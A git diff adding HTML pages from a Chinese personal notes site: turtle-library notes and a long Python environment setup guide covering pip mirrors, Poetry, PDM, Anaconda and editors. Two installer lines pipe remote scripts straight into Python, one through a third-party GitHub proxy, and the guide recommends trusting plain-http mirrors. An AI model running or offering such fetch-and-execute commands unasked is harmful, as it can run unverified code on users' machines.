小于 1 分钟

目录

目录

+ + + diff --git a/Language/Python/libs/turtle/turtle.html b/Language/Python/libs/turtle/turtle.html new file mode 100644 index 0000000000..15e3d9b022 --- /dev/null +++ b/Language/Python/libs/turtle/turtle.html @@ -0,0 +1,46 @@ + + + + + + + + 目录 | DailyNotes + + + + + + +
跳至主要內容

目录

大约 2 分钟

目录


turtle


重置

  • 观感上讲调用此函数之前的海龟绘图在调用该函数后都消失了(清屏)
  • turtle.reset()
  • turtle.resetscreen()
  • 重置屏幕上的所有海龟为其初始状态。

注解 此 TurtleScreen 方法作为全局函数时只有一个名字 resetscreen。全局函数 reset 所对应的是 Turtle 方法 reset。


画圆

  • 画圆之前要搞清楚海龟的朝向,画圆时圆心在海龟正左方距离为 radius 处
  • turtle.setheading(to_angle)
  • turtle.seth(to_angle)
  • to_angle -- 一个数值 (整型或浮点型)
  • 设置海龟的朝向为 to_angle。以下是以角度表示的几个常用方向: 20210523134615
>>> turtle.setheading(90)
+>>> turtle.heading()
+90.0
+


turtle.speed(speed=None)

  • speed : 一个 [0,10] 范围内的整型数或速度字符串

    • fastest: 0 最快
    • fast: 10 快
    • normal: 6 正常
    • slow: 3 慢
    • slowest: 1 最慢
  • 此外,隐藏海龟可以显著提升绘制速度

    • turtle.hideturtle()
    • turtle.ht()

turtle.circle(radius, extent=None, steps=None)

  • radius : 一个数值

  • extent : 一个数值 (或 None)

  • steps : 一个整型数 (或 None)


  • 绘制一个 radius 指定半径的圆。圆心在海龟左边 radius 个单位;extent 为一个夹角,用来决定绘制圆的一部分。如未指定 extent*则绘制整个圆。如果 *extent 不是完整圆周,则以当前画笔位置为一个端点绘制圆弧。如果 radius 为正值则朝逆时针方向绘制圆弧,否则朝顺时针方向。最终海龟的朝向会依据 extent 的值而改变。

  • 圆实际是以其内切正多边形来近似表示的,其边的数量由 steps 指定。如果未指定边数则会自动确定。此方法也可用来绘制正多边形。

  • 要注意的是,画笔起始点位置并非圆心,而是圆心垂线与下圆弧的交点

turtle.colormode(255)

  • turtle色彩模式切换为RGB模式
    turtle.colormode(255)
    +
  • 后面就可以用turtle.color(RGB元组)来给画笔上色了

绘图完成后不自动退出

  • turtle.exitonclick()
    绘图完成后点一下绘图界面则绘图窗口关闭
  • 程序结尾加上:turtle.done()turtle.mainloop() 绘图结束,需手动关闭窗口

颜色填充

  • 绘制图形前调用
    turtle.begin_fill()
    +
  • 绘图结束后调用
    turtle.end_fill()
    +
  • 即可在绘制的图形中填充绘制时的画笔颜色

+ + + diff --git "a/Language/Python/\345\274\200\345\217\221\347\216\257\345\242\203.html" "b/Language/Python/\345\274\200\345\217\221\347\216\257\345\242\203.html" new file mode 100644 index 0000000000..ef67a98205 --- /dev/null +++ "b/Language/Python/\345\274\200\345\217\221\347\216\257\345\242\203.html" @@ -0,0 +1,321 @@ + + + + + + + + Python 开发环境配置 | DailyNotes + + + + + + +
跳至主要內容

Python 开发环境配置

大约 34 分钟

Python 开发环境配置


安装 Python

WIndows 下直接到官网下载可执行文件安装即可, 或者下 Anaconda, 从 Anaconda 里装也可以


下载好的 python 安装程序除了手动运行安装外还可以使用命令行来安装, 例如:

python-3.10.6-amd64.exe /quiet InstallAllUsers=1 TargetDir=C:\Python310 PrependPath=1 Include_test=0
+
  • InstallAllUsers=1 所有用户可用

  • PrependPath=1 添加环境变量

  • TargetDir=C:\Python310: 指定安装目录

  • Include_test=0: 不安装 Python 的测试文件或测试模块。测试文件通常用于开发和测试 Python 本身,而不是用于一般应用程序开发

image-20231010093627141

image-20231010110608749

等待一会儿后新开个 powershell / cmd 窗口验证下:

image-20231010110837513

可以看到已经成功安装在默认目录下且添加了环境变量了

重开 powershell 窗口会重新加载环境变量, 而有时候当前 powershell 窗口可能保存了一些当前需要的临时变量, 重开后就丢失了, 还需要重新操作, 此时也可以通过如下方式, 在不关闭当前 powershell 窗口的前提下重新加载环境变量

  • 如果已经 安装了 Chocolateyopen in new window, 那么可以直接使用 refreshenv 来刷新当前 powershell 窗口的环境变量

    image-20231010142501820

  • 如果没装 Chocolatey 的话也可以在当前 powershell 窗口中执行如下命令来将当前 PowerShell 进程中的 PATH 环境变量设置为与系统环境变量中的 PATH 值相同

    [System.Environment]::SetEnvironmentVariable("Path", [System.Environment]::GetEnvironmentVariable("Path", [System.EnvironmentVariableTarget]::Machine), [System.EnvironmentVariableTarget]::Process)
    +# 或者使用如下命令也是可以的:
    +$env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine")
    +

    image-20231010144609439

    • [System.Environment]::GetEnvironmentVariable("Path", [System.EnvironmentVariableTarget]::Machine): 从系统环境变量中获取名为 "Path" 的环境变量的值。 [System.Environment] 是 .NET Framework 中的一个类,用于访问系统环境变量。 [System.EnvironmentVariableTarget]::Machine 参数指定了要获取的是计算机级别的环境变量。
    • [System.Environment]::SetEnvironmentVariable("Path", ...):用获取到的系统环境变量值来更新当前 PowerShell 进程中的 PATH 环境变量。[System.Environment]::SetEnvironmentVariable 方法用于设置环境变量的值。它接受三个参数:
      • 第一个参数是要设置的环境变量的名称,这里是 "Path",表示 PATH 环境变量。
      • 第二个参数是要设置的新值,它使用了之前获取的系统环境变量的值,确保当前进程中的 PATH 与系统环境变量中的 PATH 一致。
      • 第三个参数是指定了要设置的环境变量的范围,这里是 [System.EnvironmentVariableTarget]::Process,表示将更改应用于当前进程。


pip 操作

# 将包安装到指定路径(示例)
+pip install -i https://pypi.tuna.tsinghua.edu.cn/simple  pygame --target=C:/Users/233/AppData/Local/Programs/Python/Python38/Lib/site-packages
+

离线迁移 python 库

python - How to install packages offline? - Stack Overflow --- python - 如何离线安装软件包? - 堆栈溢出open in new window

pip download - pip documentation v23.2.1 --- pip 下载 - pip 文档 v23.2.1 (pypa.io)open in new window

要在一台断网的机器上安装 python 库的话, 可以现在一台联网的机子上下载所需的 whl 包, 然后拷贝到断网机器中来安装

PS: 两台机器需要有相同的系统以及相同的 python 以及 pip 版本

对于需要安装的库可以现在联网的机器上新建并 CD 到一个空目录, 然后执行如下命令

mkdir pip 
+cd pip
+pip download pip
+mkdir wheel
+cd wheel
+pip download wheel
+mkdir [pkg_name]
+cd [pkg_name]
+pip download [pkg_name]
+

这会在当前命令行目录下新建一堆包目录, 每个包目录都尤其相关的 whl 依赖, 将这些目录拷贝到离线主机的某个目录中, 并在 powershell 中 cd 到该目录, 运行如下命令即可安装这些包

$packages = Get-ChildItem -Directory
+foreach ($package in $packages) {
+    $package_name = $package.Name
+    $package_path = $package.FullName
+    Write-Host "Install package: $package_name"
+    Write-Host "Package path: $package_path"
+    pip install --no-index --find-links $package_path $package_name
+}
+
  • --no-index: 忽略包索引(只查看 --find-links URL
  • --find-links:
    • 如果是 html 文件的 URL 或路径,则解析指向存档的链接,例如 sdist (.tar.gz) 或wheel (.whl) 文件。
    • 如果是本地路径或 file:// URL,则在目录列表中查找档案。
    • 不支持指向 VCS 项目 URL 的链接

image-20231010155816398

要逐个包安装的话也是如此:

pip install --no-index --find-links /path/to/download/dir/ [pkg_name]
+

image-20231010153724106


PS: 上述是逐个梳理依赖的情况, 如果有完整的 requirements 的话就比较方便了, 首先是在联网主机上下载这些依赖

pip download -r .\requirements.txt
+

image-20231010160410354

将该目录拷贝到离线主机上后执行如下命令

pip install --no-index --find-links [targer_path] -r [requirements.txt_path]
+

image-20231010160725345


换源操作

winrey/EasyConnectedInChina: 汇总apt,pip,nodejs等各种工具国内镜像源和设置镜像源的方法 (github.com)open in new window

# 单独使用
+py -3.8 -m pip install -i https://pypi.tuna.tsinghua.edu.cn/simple opencc  
+pip install -i https://pypi.tuna.tsinghua.edu.cn/simple opencc  
+
+# 通过文件安装依赖
+py -3.8 -m pip install -i https://pypi.tuna.tsinghua.edu.cn/simple -r requirements.txt
+
+pip install -i https://pypi.tuna.tsinghua.edu.cn/simple -r requirements.txt
+
+# 更新 pip
+py -3.8 -m pip install -i https://pypi.tuna.tsinghua.edu.cn/simple --upgrade pip
+
+pip install -i https://pypi.tuna.tsinghua.edu.cn/simple --upgrade pip
+
  • 镜像源地址
    • 阿里云
      https://mirrors.aliyun.com/pypi/simple/
    • 中国科技大学
      https://pypi.mirrors.ustc.edu.cn/simple/
    • 豆瓣(douban)
      http://pypi.douban.com/simple/
    • 清华大学
      https://pypi.tuna.tsinghua.edu.cn/simple/
    • 中国科学技术大学
      http://pypi.mirrors.ustc.edu.cn/simple/
  • 补充:将包装到指定路径:

    pip install -i https://pypi.tuna.tsinghua.edu.cn/simple  pygame --target=C:/Users/233/AppData/Local/Programs/Python/Python38/Lib/site-packages
    +

源地址

  • 官方源

    https://pypi.python.org/simple

  • 阿里云

    https://mirrors.aliyun.com/pypi/simple/

  • 中国科技大学

    https://pypi.mirrors.ustc.edu.cn/simple/

  • 豆瓣(douban)

    http://pypi.douban.com/simple/

  • 清华大学

    https://pypi.tuna.tsinghua.edu.cn/simple/

  • 中国科学技术大学

    http://pypi.mirrors.ustc.edu.cn/simple/


使用方法

方法一:临时使用

直接在pip后加-i后跟这次使用的源即可,例:

pip install web.py -i https://mirrors.aliyun.com/pypi/simple/
+

指令中的网址为上方的源地址。

如果出现带有trusted-host字样的报错,这是由源不为 https 协议导致的,使用:

pip install web.py -i http://pypi.douban.com/simple --trusted-host pypi.douban.com
+

添加信任主机即可。


方法二:更改默认源

可以使用

pip config set global.index-url xxxx
+# 例如更改为清华源
+pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple/
+

来设置 xxxx

查看当前 pip 配置

pip config list
+

image-20220526200452483

# 备份
+global.index-url='https://pypi.tuna.tsinghua.edu.cn/simple'
+install.trusted-host='pypi.tuna.tsinghua.edu.cn'
+

创建或修改配置文件(一般都是创建)

  • linux与mac的设置的文件在 ~/.pip/pip.conf

  • vim ~/.pip/pip.conf
    +
  • windows在 %HOMEPATH%\pip\pip.ini

  • 如果没有创建即可。

更改内容:

[global]
+index-url = https://mirrors.aliyun.com/pypi/simple/
+

[global]
+index-url = http://pypi.douban.com/simple
+[install]
+trusted-host=pypi.douban.com
+

文件中的网址为上方的源地址。 刚刚下面的内容是http协议源的实例。需要添加信任。 保存退出即可。


方法三:python代码更改安装源

临时使用其他源安装软件包的python脚本如下:

#!/usr/bin/python
+ 
+import os
+ 
+package = raw_input("Please input the package which you want to install!\n")
+command = "pip install %s -i https://mirrors.aliyun.com/pypi/simple/" % package
+# http源的代码实例如下
+# command = "pip install %s -i http://pypi.mirrors.ustc.edu.cn/simple --trusted-host pypi.mirrors.ustc.edu.cn" % package
+os.system(command)
+

环境/依赖版本管理工具


virtual environment

# 安装 virtualenv
+pip install virtualenv
+
+# 使用 virtualenv 创建虚拟环境
+virtualenv -p python3 env
+
+# 激活虚拟环境(Windows)
+.\env\Scripts\activate
+
+# 激活虚拟环境(Linux)
+source env/bin/activate
+

Pipenv

这里记录的是 ubuntu 下的配置
Windows 的话 Pycharm 中有自带的 Pipenv 包

如何开始使用 Pipenv? | w3c笔记 (w3cschool.cn)open in new window

WSL Ubuntu 18.04上使用pipenv的4个关键点 | 老梅笔记 (laomeinote.com)open in new window

Pipenv: Python Dev Workflow for Humans — pipenv 2021.11.9 documentation (pypa.io)open in new window

12. Virtual Environments and Packages — Python 3.10.0 documentationopen in new window

Pipenvopen in new window 是 Python 的 Python 打包工具,是对使用 Pipopen in new windowVenvopen in new window 和 requirements.txt的升级。Pipenv 是将包管理与虚拟环境相结合的好方法。

虚拟环境是一个自包含的目录树,其中包含针对特定 Python 版本的 Python 安装,以及许多其他包。

安装 pipenv 模块:

apt install pipenv
+pip insatll pipenv
+

使用 cd 命令切换到需要安装虚拟环境的目录安装虚拟环境(如果当前目录下没有 Pipfile 则会先生成 Pipfile, 如果有的话便会继续安装虚拟环境):

pipenv install
+

Pipfile 中将 [[source]] 区域下的 url 改为国内的源

# 华为镜像
+https://repo.huaweicloud.com/repository/pypi/simple
+# 阿里镜像
+https://mirrors.aliyun.com/pypi/simple
+# 官方源
+https://pypi.python.org/simple
+

image-20211114221709756

如果默认生成的 Pipfile 中的包特别多, 那么这条命令会执行很长时间且没有 log, 这将会是一个很折磨的过程(

启动虚拟环境

pipenv shell
+

可以通过 exit 退出虚拟环境


Poetry

Poetry - Python dependency management and packaging made easy (python-poetry.org)open in new window

python-poetry/poetry: Python dependency management and packaging made easy. (github.com)open in new window


Poetry 是 Python 的依赖管理器

Poetry 可以帮助您声明、管理和安装 Python 项目的依赖项,确保到处都有正确的 stack。

支持 python 3.7 +


系统需求

需求 Python 2.7 或 3.5+. 支持跨平台, 在 Windows, Linux, OSX 系统上都可以同样出色地运行;

Python 2.7 以及 3.5 后续版本不再支持, 需要升级 Python 版本
个人建议 Python 3.8 以上, 因为用 Python 3.7.3 安装报错了


安装

Introduction | Documentation | Poetry - Python dependency management and packaging made easy (python-poetry.org)open in new window


Poetry 提供了一个自定义的安装程序, 通过解构 Poetry 的依赖关系, 将 Poetry 与系统的其他部分隔离开


windows powershell install instructions:

(Invoke-WebRequest -Uri https://install.python-poetry.org -UseBasicParsing).Content | python -
+

image-20220527065741632

上图中使用的是旧版的 1.x 版本的安装链接: https://raw.githubusercontent.com/python-poetry/poetry/master/get-poetry.py, 新版本推荐使用 https://install.python-poetry.org 来安装

建议在安装Python之前系统优先的Python不要是conda环境, 也就是说最好系统优先的 Python 环境是自己手动安装的标准 Python 环境

PS: 因为我没装标准Python环境直接用 conda 出问题了, poetry 安装位置会乱飞还会找不到dll

image-20220804101533439

使用 poetry --version 报错的话需要手动加下环境变量, 如上图所示的目录加到系统变量的 path 变量中即可

image-20220804101836027

image-20220804101729257


urllib.error.URLError: <urlopen error unknown url type: https>
+

如果出现以上错误, 那可能是因为默认 Python 版本比较低, 建议使用 3.8 以上的版本

poetry 会自动添加环境变量, 安装完后重启 powershell, 检查下 poetry 版本:

poetry --version
+

image-20220527070102934



配置文件

Configuration | Documentation | Poetry - Python dependency management and packaging made easy (python-poetry.org)open in new window


  • macOS: ~/Library/Application Support/pypoetry
  • Windows: C:\Users\<username>\AppData\Roaming\pypoetry

可以通过:

poetry config virtualenvs.in-project true
+

来让 poetry 默认在项目根目录下创建 venv 作为虚拟环境目录, 或者直接写配置文件:

[virtualenvs]
+in-project = true
+
+

此项配置默认为 false

若在配置此项之前创建了虚拟环境, windows 下应该在 C:\Users\用户名\AppData\Local\pypoetry\Cache\virtualenvs 目录下, 将其删除后重新在项目根目录下 poetry install 即可在项目根目录下创建 .venv 作为虚拟环境目录


pyproject.toml

换源

The pyproject.toml file | Documentation | Poetry - Python dependency management and packaging made easy (python-poetry.org)open in new window

Poetry 默认配置从 PyPI 查询依赖包, 如果想要使用私仓(或是镜像)的话需要如如下配置

[[tool.poetry.source]]
+name = "private"
+url = "http://example.com/simple"
+

例如:

[[tool.poetry.source]]
+name = "aliyun"
+url = "http://mirrors.aliyun.com/pypi/simple"
+default = true
+
[[tool.poetry.source]]
+name = "tsinghua"
+url = "https://pypi.tuna.tsinghua.edu.cn/simple/"
+default = true
+

基本用法


安装依赖

Python - poetry(5)依赖规范 (win80.net)open in new window

使用 Python Poetry 进行依赖管理-云社区-华为云 (huaweicloud.com)open in new window

Python依赖管理及打包工具Poetry使用规范 - 掘金 (juejin.cn)open in new window

可以在 pyproject.tomltool.poetry.dependencies 区域指明依赖版本

image-20220527073752137

也可以通过 poetry add 来安装依赖

poetry add numpy
+

使用虚拟环境

默认情况下, poetry 会在 {cache-dir}/virtualenvs ({cache-dir}\virtualenvs on Windows)目录下创建一个虚拟环境:

image-20220527074613612

如果先前设置了 poetry config virtualenvs.in-project true 的话执行 poetry install 安装依赖则会装在项目根目录的 .venv

激活虚拟环境: cd 进入 .venv 然后使用 poetry shell 激活虚拟环境


结合 conda 环境使用

poetry 可以直接使用 conda 环境而不单独创建虚拟环境

只需要先 activate 对应 conda 环境, 然后把 pyproject.toml 中的 python 版本对其当前 conda 环境版本即可

此时使用 poetry shell 会输出 Virtual environment already activated: xxxxxx

不过当然也可以使用 conda 环境来创建虚拟环境, 只需要使用 poetry env use 对应conda环境的python.exe路径 即可利用该 conda 环境创建虚拟环境

在当前 conda 环境的 bin 目录中找不到 activate 脚本导致环境激活失败(ubuntu)

在该 conda 环境的 bin 目录下新建一个 activate 文件, 写入如下代码然后重新 poetry shell 即可

#!/bin/sh
+_CONDA_ROOT="/root/anaconda3/envs/xxx"	# 该 conda 环境根目录
+# Copyright (C) 2012 Anaconda, Inc
+# SPDX-License-Identifier: BSD-3-Clause
+\. "$_CONDA_ROOT/etc/profile.d/conda.sh" || return $?
+conda activate "$@"
+
+

奇怪的是虽然没有 activate 脚本, 但是直接 conda activate 是有用的


常见问题

Failed to create the collection: Prompt dismissed..

Error: Unable to store the password for poetry-repository-pypi in the key ring: Failed to unlock the collection! · Issue #2692 · python-poetry/poetry (github.com)open in new window

python poetry 1.0.0 private repo issue fix – Frank-Mich's Blogopen in new window

# test.py
+import keyring
+print(keyring.util.platform_.config_root())
+
poetry run python test.py
+

打开输出的文件目录(不存在则创建), 新建一个 keyringrc.cfg, 填入

[backend]                                    
+default-keyring=keyring.backends.fail.Keyring
+

PDM

pdm-project/pdm: A modern Python package manager with PEP 582 support. (github.com)open in new window

PDM - 一款新的 Python 包管理器 | Frost's Blog (frostming.com)open in new window

pdm/README_zh.md at main · pdm-project/pdm (github.com)open in new window

官方文档已经讲得很详细了, 这里摘录下来方便个人阅读

持续集成中的 Python - 狂飙 (networm.me)open in new window

PDM 是由 Poetry 开发组的成员开发的( •̀ ω •́ )✧


概述

PDM 旨在成为下一代 Python 软件包管理工具。它最初是为个人兴趣而诞生的。如果你觉得 pipenv 或者 poetry 用着非常好,并不想引入一个新的包管理器,那么继续使用它们吧;但如果你发现有些东西这些 工具不支持,那么你很可能可以在 pdm 中找到。

PEP 582open in new window 提出下面这种项目的目录结构:

foo
+    __pypackages__
+        3.8
+            lib
+                bottle
+    myscript.py
+

项目目录中包含一个__pypackages__目录,用来放置所有依赖的库文件,就像npmnode_modules一样。 你可以在这里open in new window阅读更多提案的细节。


主要特性


为什么不用虚拟环境

现在大部分的 Python 包管理器也同时管理虚拟环境,这主要是为了隔离项目开发环境。但如果涉及到虚拟 环境嵌套虚拟环境的时候,问题就来了:你可能用一个虚拟环境的 Python 安装了某个虚拟环境管理工具, 然后又用这个工具去创建更多虚拟环境。当某一天你升级了新版本的 Python 你必须一个一个去检查这些 虚拟环境,没准哪个就用不了了。

然而 PEP 582open in new window 提供了一个能把 Python 解释器和项目开发环境解耦的方法。这是一个相对比较新的提案, 没有很多相关的工具实现它,这其中就有 pyflowopen in new window。但 pyflow 又是用 Rust 写的,不是所有 Python 的社区 都会用 Rust,这样就没法贡献代码,而且,基于同样的原因,pyflow 并不支持 PEP 517open in new window 构建。


安装

pdm/README_zh.md at main · pdm-project/pdm (github.com)open in new window


安装 PDM 需要 Python 3.7 或更高版本

但是运行 PDM 没有 Python 版本要求

curl -sSL  https://ghproxy.com/https://raw.githubusercontent.com/pdm-project/pdm/main/install-pdm.py | python3 -
+

QuickStart

初始化一个新的 PDM 项目:

新建一个项目文件夹, 在当前文件夹目录下打开 powershell:

pdm init
+

按照指引回答提示的问题,一个 PDM 项目和对应的pyproject.toml文件就创建好了。

image-20220526212055852

把依赖安装到 __pypackages__ 文件夹中

pdm add tk
+
+# 删除则可用:
+pdm remove tk
+

working with PEP 582

推荐在 .gitignore 中忽略

__pypackages__/
+.pdm.toml
+

对于 VSCode, 可以先用命令行安装 pdm-vscode:

pdm plugin add pdm-vscode
+

安装完后, 在输入 pdm init 或者 pdm use 命令后会自动创建 .vscode/settings.json

{
+  "python.autoComplete.extraPaths": ["__pypackages__/<major.minor>/lib"],
+  "python.analysis.extraPaths": ["__pypackages__/<major.minor>/lib"]
+}
+
+

需要结合 pylance 使用的话需要在项目根目录创建一个 pyrightconfig.json:

{
+    "exclude": ["__pypackages__"]
+}
+

PDM Scripts

例如运行 main.py 可以使用

pdm run python main.py
+

PDM-packer

frostming/pdm-packer: A PDM plugin that packs your packages into a zipapp (github.com)open in new window


A PDM plugin that packs your packages into a zipapp


pdm-packer requires Python >=3.7


安装:

pdm plugin add pdm-packer
+

image-20220526214016279


使用:

$ pdm pack [common-options] [pack-options]
+

Common Options:

-h, --help
+

show this help message and exit

-v, --verbose
+

-v for detailed output and -vv for more detailed

-g, --global
+

Use the global project, supply the project root with -p option

-p PROJECT_PATH, --project PROJECT_PATH
+

Specify another path as the project root, which changes the base of pyproject.toml and __pypackages__

Pack Options:

-m MAIN, --main MAIN
+

Specify the console script entry point for the zipapp

-o OUTPUT, --output OUTPUT
+

Specify the output filename. By default the file name will be inferred from the project name.

-c, --compress
+

Compress files with the deflate method, no compress by default

--pyc, --compile
+

Compile source into pyc files

--no-py
+

Remove the .py files in favor of .pyc files

-i INTERPRETER, --interpreter INTERPRETER
+

The Python interpreter path, default: the project interpreter

--exe
+

Create an executable file. If the output file isn't given, the file name will end with .exe(Windows) or no suffix(Posix)

See also: https://docs.python.org/3.9/library/zipapp.html


示例:

# Create with default name(<project_name>.pyz) and console_script as the __main__.py
+pdm pack
+# Create an executable file
+pdm pack --exe
+# Create with custom __main__.py and filename
+pdm pack -o app.pyz -m app:main
+

Anaconda

Anaconda 安装完成后调起命令行会默认启动 conda 环境, 可以使用如下命令开启或关闭该项配置

# 关闭自动启动conda环境
+conda config --set auto_activate_base false
+# 启动自动启动conda环境
+conda config --set auto_activate_base true
+

创建一个名为 BigData, python 版本为 3.9 的虚拟环境

conda create -n BigData python=3.9
+

激活 BigData conda 环境

conda activate BigData
+

20211219072053

退出当前虚拟环境

conda deactivate
+

Conda clean 净化Anaconda - 简书 (jianshu.com)open in new window
Anaconda conda常用命令:从入门到精通_chenxy_bwave的专栏-CSDN博客_conda常用命令open in new window
Anaconda 官网open in new window
可在此处获取其他版本的安装包

Windows

需要注意的是, 使用 Anaconda Navigator 或者 conda 环境操作时需要关掉梯子, 否则可能会报 host 错误

安装包open in new window

Anaconda 官网open in new window
可在此处获取其他版本的安装包

需要注意的是 Anaconda 装完之后打开命令行总会自动进入 conda 环境, 可以通过更改 conda 配置来取消自动进入

conda config --set auto_activate_base false
+

如果想要设置自动进入的话将 false 改为 true 运行即可

安装完成后打开 Anaconda Navigator:

image-20220523093633147

Anaconda 换源

anaconda修改国内源 - 余者皆可 - 博客园 (cnblogs.com)open in new window

Anaconda 换国内源_scl52tg的博客-CSDN博客_conda 换源open in new window

  • 打开 anaconda prompt
    20220113131937
    20220113132007

  • 执行以下命令来配置清华源:

    不打开 navigator 也是完全可行的, 打开命令行就可以了, 前提是为 anaconda 配置了环境变量

    只要在命令行中 conda -V 有版本号输出就可以了

    conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/msys2/
    +conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/conda-forge
    +conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/
    +conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/pytorch/
    +conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main/
    +conda config --set show_channel_urls yes
    +

    配置清华源是为了后续使用 pip 命令安装 python 库时快些, 不配置换源而直接使用默认源的话在墙内容易超时报错

    中科大源:

    conda config --add channels https://mirrors.ustc.edu.cn/anaconda/pkgs/main/
    +conda config --add channels https://mirrors.ustc.edu.cn/anaconda/pkgs/free/
    +conda config --add channels https://mirrors.ustc.edu.cn/anaconda/cloud/conda-forge/
    +conda config --add channels https://mirrors.ustc.edu.cn/anaconda/cloud/msys2/
    +conda config --add channels https://mirrors.ustc.edu.cn/anaconda/cloud/bioconda/
    +conda config --add channels https://mirrors.ustc.edu.cn/anaconda/cloud/menpo/
    +conda config --set show_channel_urls yes
    +
    +

    需要注意的是 conda 换源后会使更新 conda 的操作可能会报错

    因此在更新 conda 的时候记得回复默认源

    conda config --remove-key channels
    +

    查看源:

    conda config --show
    +

    image-20220804012242625


新建一个 conda 环境

打开 Anaconda Navigator -> Environments 在环境列表底部按钮中找到 Create 并点击

image-20220517153334579

为新环境命一个名(英文命名, 尽量简短些, 之后激活要用)

这里选择了 Python 3.8.13, 不上 3.9 或者 3.10 主要是因为有一些三方库更新没跟上, 不一定支持 python3.9 及以上

image-20220517153442365

在命令行中使用 conda 环境可以使用如下指令激活:

conda activate 环境名
+

image-20220517153733464


Anaconda Navigator 升级

conda update conda -y
+conda update anaconda -y
+conda update anaconda-navigator -y
+

如果进行了换源操作记得在升级前恢复默认源, 否则可能会在镜像源中找不到更新包

conda config --remove-key channels
+

Ubuntu

如何在 Ubuntu 20.04 上安装 Anaconda - 云+社区 - 腾讯云 (tencent.com)open in new window
Anaconda conda常用命令:从入门到精通_chenxy_bwave的专栏-CSDN博客_conda常用命令open in new window

# 安装 Anaconda
+#wget https://repo.anaconda.com/archive/Anaconda3-2021.11-Linux-x86_64.sh
+#bash Anaconda3-2021.11-Linux-x86_64.sh
+wget https://repo.anaconda.com/archive/Anaconda3-2022.05-Linux-x86_64.sh
+bash Anaconda3-2022.05-Linux-x86_64.sh
+

20211219065157

若出现 段错误 (核心已转储) 字样, 可以使用

wget https://repo.anaconda.com/archive/Anaconda3-2022.05-Linux-x86_64.sh
+

从断点处继续下载

长按 ENTER 阅读完条款

20211219065309

yes

20211219065431

选择安装路径, 默认为 /root/anaconda3, 这个过程会比较长

20211219065943

yes, 执行初始化, 这将会将命令行工具 conda 添加到系统的 PATH 环境变量中。
不过想要激活 Anaconda,还需要关闭并且重新打开你的 shell 或者在当前 shell 会话中输入下面的命令,来重新加载 PATH 环境变量:

source ~/.bashrc
+

可以使用 conda --version 查看 Anaconda 版本

20211219070617

设置国内镜像

#设置清华镜像
+conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/
+conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main/
+conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/conda-forge/
+conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/bioconda/
+#设置bioconda
+conda config --add channels bioconda
+conda config --add channels conda-forge
+#设置搜索时显示通道地址
+conda config --set show_channel_urls yes
+

创建一个名为 BigData, python 版本为 3.9 的虚拟环境

conda create -n BigData python=3.9
+

激活 BigData 虚拟环境

conda activate BigData
+

20211219072053

退出当前虚拟环境

conda deactivate
+

Conda clean 净化Anaconda - 简书 (jianshu.com)open in new window
Anaconda conda常用命令:从入门到精通_chenxy_bwave的专栏-CSDN博客_conda常用命令open in new window
Anaconda 官网open in new window
可在此处获取其他版本的安装包


报错收集


check_hostname requires server_hostname

  • 本来是在 Pycharm 中新建 conda 环境报的错误,接着打开 Anaconda Navigator 也报了相同的错误
  • 最终在anaconda-issues #12410open in new window找到的相同报错及解决方案
    • 关掉VPN即可解决(

对于 Clash 而言可以打开此项配置

image-20230719000029091

bpo-42627: Fix wrong parsing of Windows registry proxy settings by CrazyBoyFeng · Pull Request #26307 · python/cpython · GitHubopen in new windowopen in new window

开了之后就正常了:

image-20230719000057721


各类 HTTPError 相关

我这边报错都是清华的源报错,换成阿里的源就没问题了(

  • https://mirrors.aliyun.com/anaconda/pkgs/main/

    20210522090710


ModuleNotFoundError: No module named 'pip._vendor....'

  • pip 出问题了
  • CMD.exe Prompt 中执行 conda update pip 即可

VSCode

VSCode 安装包open in new window

用于编辑与运行 python 程序, 选择 VSCode 主要是其比较轻量, 启动比较快, 用起来比较顺手, 且插件市场庞大, 对于许多语言都有插件支持, 按需下载

比起安装 python 解释器自带的 IDLE 友好许多, 又不会像 Pycharm 一样庞大/启动慢/占资源, 作为平时写点小脚本, 小玩意儿来说完全够用

扩展

  • 汉化插件

    image-20220113132736972

  • Python 相关基础插件

    image-20220113132900552

  • jupyter 插件

    image-20220113132930881

    使用 Jupyter 的好处在于可以边写笔记边写代码, 如下图所示, 在笔记中可以插入代码块并运行及显示

    image-20220113133105876

  • Markdown 插件

    image-20220113133332281

  • 命令行插件 Terminal

    image-20220113134443536

    用于在 VSCode 中打开 powershell 执行命令

    image-20220113134623777


Pylance 无法加载自定义模块

有时 Pylance 可能会识别不了 import 导入的自定义包, 此时需要设置 VScode Pylance 的 python.analysis.extraPaths 属性, 加上自定义包的所在目录

可以在设置中添加:

image-20230728120654244

也可以直接在当前工作目录下新建一个 .vscode/settings.json 进行配置:

{
+    "python.analysis.extraPaths": [
+        "/usr/local/python37/lib/python3.7/site-packages",
+    ]
+}
+

然后就可以 Pylance 正常加载相关包了

有时候可能仍旧索引不到相关模块, 那么可以将层级写深点, 不止于 site-packages, 而是写到模块 py 文件所在目录


生成环境依赖

python 项目自动生成环境配置文件requirements.txt_凝眸伏笔的博客-CSDN博客open in new window


  • 生成整个当前环境的依赖

    pip freeze > requirements.txt
    +

如果对项目使用了虚拟环境那么这会是一个生成项目依赖的不错的方法

  • 生成当前项目的依赖

    pip install pipreqs
    +pipreqs .
    +

Pycharm

Pycharm 换源

20210522085736

实际上这里我用的 conda环境 ,相应的也可以在 anaconda 中进行换源配置


快捷键

查找替换

  • Ctrl + R 替换
  • Ctrl + Shift + R 全局替换

无意中触发了TIM快捷键:``Ctrl+Alt+F`(文字识别)

创建文档注释脚本

  • File -> Settings -> Editor -> File and Code Templates

    • 例:Python Script

      • 例:

        # -*- coding: utf-8 -*-
        +# @Time    : ${DATE} ${TIME}
        +# @Author  : 咸鱼型233
        +# @File    : ${NAME}.py
        +# @Software: ${PRODUCT_NAME}
        +

导入自己的模块报红

  • 参考文章open in new window
  • 结论:
    • 本地路径并未被标记“源目录”
  • 解决方案:
    • File | Settings | Build, Execution, Deployment | Console | Python Console
